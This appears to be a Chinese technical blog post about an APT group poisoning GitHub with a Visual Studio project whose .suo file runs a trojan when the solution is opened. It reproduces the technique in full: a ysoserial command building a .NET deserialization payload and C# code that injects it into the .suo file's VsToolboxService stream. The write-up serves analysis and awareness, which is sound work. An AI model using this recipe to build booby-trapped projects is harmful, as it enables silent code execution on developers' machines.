6 [新一代Github投毒针对网络安全人员钓鱼]

0x01 前言

在Github上APT组织"海莲花"发布存在后门的提权BOF,通过该项目针对网络安全从业人员进行钓鱼。不过其实早在几年前就已经有人对Visual Studio项目恶意利用进行过研究,所以投毒的手法也不算是新的技术。但这次国内有大量的安全从业者转发该钓鱼项目导致此次事件的重要性,于是就有了这个"标题党"。

目前该钓鱼账号已经注销

0x02 攻击方式

该组织使用了Visual Studio程序中的 .suo 文件进行钓鱼攻击,当使用Visual Studio打开 .sln 程序的时候,Visual Studio 会自动加载并调用与之关联的 .suo 文件从而隐蔽的执行木马。

0x03 攻击复现

解决方案用户选项 (.suo) 文件是一种结构化存储或复合文件,以二进制格式存储。您可以将用户信息保存到流中,流的名称是用于识别 .suo 文件中的信息的键。解决方案用户选项文件用于存储用户首选项设置,并在 Visual Studio 保存解决方案时自动创建。

当环境打开 .suo 文件时,它会枚举所有当前已加载的 VSPackage。如果 VSPackage 实现了IVsPersistSolutionOpts接口,则环境会调用VSPackage 上的LoadUserOptions方法,要求它从 .suo 文件加载其所有数据。

VSPackage 负责了解它可能已将哪些流写入 .suo 文件。对于它写入的每个流,VSPackage 通过LoadPackageUserOpts回调环境以加载由键(即流的名称)标识的特定流。然后,环境回调 VSPackage 以读取该特定流,并传递流的名称和IStream指向LoadPackageUserOpts方法的指针。

这里我们需要通过Visual Studio创建一个Windows窗体应用,并且选择 视图 > 工具箱,在工具箱中,随便拖拽一个控件(如按钮)到设计界面进行保存后会在.vs文件夹里会存在.suo文件

那么我们就需要准备ysoserial生成 .NET 反序列化恶意Payload

复制代码
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateDisableTypeCheck -o base64 -c "calc.exe"

接下来就需要安装 OpenMcdf 库,一个处理 Microsoft Compound 文件(如 .suo 文件)的 C# 库,打开 Package Manager Console,执行以下命令安装:

复制代码
Install-Package OpenMcdf

这时候就能创建一个新的.cs文件来把生成的 Payload 注入到 VsToolboxService 流中

复制代码
using System;
using OpenMcdf;
using System.IO;

class Program
{
    static void Main(string[] args)
    {
        string in_suo_file = @"C:\Path\To\.suo";  // 修改为实际的 .suo 文件路径
        string temp_file = @"C:\Path\To\test.suo";    // 修改为保存修改后的 .suo 文件路径

        // Base64 解码 ysoserial 生成的 Payload
        byte[] result = Convert.FromBase64String("YOUR_BASE64_PAYLOAD");  // 替换为第 2 步中生成的 Base64 字符串

        try
        {
            // 打开原始 .suo 文件 (UpdateMode)
            CompoundFile cf = new CompoundFile(in_suo_file, CFSUpdateMode.Update, CFSConfiguration.Default);

            // 获取 "VsToolboxService" 流并注入恶意数据
            CFStream stream = cf.RootStorage.GetStream("VsToolboxService");
            stream.SetData(result);

            // 提交更改
            cf.Commit();

            // 保存修改后的文件
            cf.SaveAs(temp_file);
            cf.Close();

            Console.WriteLine("Modified .suo file saved to temporary location: " + temp_file);

            // 你可以手动替换原 `.suo` 文件,或者在代码中执行替换
            File.Copy(temp_file, in_suo_file, true);

            Console.WriteLine("Original .suo file replaced successfully!");
        }
        catch (Exception ex)
        {
            Console.WriteLine("An error occurred: " + ex.Message);
        }
    }
}

这个时候我们的恶意.suo文件就做好了,那么我们重启这个项目看看会不会打开Windows计算器

相关推荐
anyup12 分钟前
【2026年8月】uView Pro 千星,还拿到了 GVP
前端·uni-app·github
独隅11 小时前
GitHub Actions 自动化运维实战:CI/CD 流水线一体化效果展示
运维·自动化·github
fthux11 小时前
装闭 RenoPit 源码解析(05):FastAPI与Celery如何执行AI装修分析
人工智能·ai·开源·github·open source·renopit
冬奇Lab13 小时前
开源项目第183期:Ontology Playground — 微软出品的本体论可视化学习工具,零后端、浏览器直接运行
人工智能·microsoft·开源
NocoBase13 小时前
如何用 AI 和 NocoBase 搭建一套可投入生产的 CRM
低代码·ai·开源·无代码·无代码开发平台
马拉AI14 小时前
腾讯开源 Agent 记忆系统,AI“换对话就忘”的问题有了新解法(附安装使用教程)
人工智能·算法·开源·科研
YuePeng16 小时前
一个注解起家,25 个模块收尾:Erupt 的生态版图长这样
后端·github
zt1985q16 小时前
本地部署开源网络书签与内容管理工具 Karakeep 并实现外部访问
运维·服务器·网络·数据库·网络协议·开源
JEECG低代码平台18 小时前
JimuChatBI 重磅发布 v1.0:首款开源对话式 Chat2BI 智能问数产品
开源
我是若尘18 小时前
发布分支落后于主干,MR 全是冲突?聊聊业界怎么治这个“祖传”难题
github